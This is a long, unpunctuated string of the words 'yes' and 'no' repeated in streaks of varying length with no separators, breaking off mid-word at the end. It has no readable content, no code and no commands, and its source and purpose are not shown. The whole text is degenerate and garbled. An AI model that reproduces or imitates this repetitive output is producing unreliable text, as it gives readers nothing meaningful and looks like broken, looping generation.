yesyesyesnononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesnonoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesnononononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesnonononoyesyesnonononononononoyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesnononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononoyesyesnonononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesnonononoyesyesyesyesnononononononoyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononononoyesyesnononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesnoyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononoyesyesyesyesnonononononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononoyesyesyesyesyesnonononononoyesyesyesnononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononoyesyesyesyesyesnonoyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesyesnononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesnononononononononononononononoyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononoyesyesyesyesnononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesnonononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesnononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesnononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesnonononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononoyesyesyesyesyesnonoyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesnononononononononoyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesnononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononoyesyesyesyesnononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesnononoyesyesyesyesyesnononononononononoyesyesyesyesnonononononononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesnononononononoyesyesyesyesyesnonononoyesyesyesyesyesnononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesnonononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesnonononononoyesyesyesnononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesnonoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesnononononoyesyesyesyesyesnonononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononoyesyesyesyesnononononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesyesnonononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononoyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesnononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesnononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononoyesyesyesyesnonononoyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnoyesnononononoyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesyesnononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesnonoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesnononononononononononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesnonononononononoyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesyesnononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesnonoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononoyesyesyesnononononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononononononononononoyesyesyesyesyesnononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesnoyesyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesnononononononononononoyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesnononononononononononononononoyesyesnononononononononoyesyesyesyesyesnonoyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesnonononononononononononoyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesnonononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononoyesyesyesyesnononoyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesnonononononononononononoyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesyesnononononoyesyesyesyesnononononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesnononoyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesnoyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesnononononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesnononoyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesnonoyesyesyesyesyesnonononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononononononononononononononononoyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnononoyesyesyesyesyesyesyesyesnonononononononoyesnononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesnonononoyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnononoyesyesyesyesyesyesyesnonononononononoyesyesyesnononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononononononononononononoyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesnonoyesyesyesyesyesyesyesnonononononononoyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesnonononononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesnonononononoyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononoye